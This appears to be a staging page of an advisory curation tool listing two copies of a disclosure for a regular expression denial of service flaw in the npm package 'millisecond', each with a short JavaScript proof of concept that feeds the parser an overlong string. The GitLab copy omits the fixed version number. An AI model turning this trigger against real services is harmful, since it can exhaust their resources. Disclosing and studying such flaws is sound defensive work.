Staging Environment: Content and features may be unstable or change without notice.

Advisory Weakness Curation

GHSA-m489-xr35-fjxr

Progress 0 / 0

Advisory Summaries

github_osv/GHSA-m489-xr35-fjxr

Regular Expression Denial of Service in millisecond Versions of `millisecond` prior to 0.1.2 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed. ## Proof of concept ``` var ms = require('millisecond'); var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; } return result; } ms(genstr(process.argv[2], "5") + " minutea"); ``` ## Recommendation Update to version 0.1.2 or later.

gitlab/npm/millisecond/GMS-2021-37

Regular Expression Denial of Service in millisecond Versions of `millisecond` are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed. ## Proof of concept ``` var ms = require('millisecond'); var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; } return result; } ms(genstr(process.argv[2], "5") + " minutea"); ``` ## Recommendation Update to or later.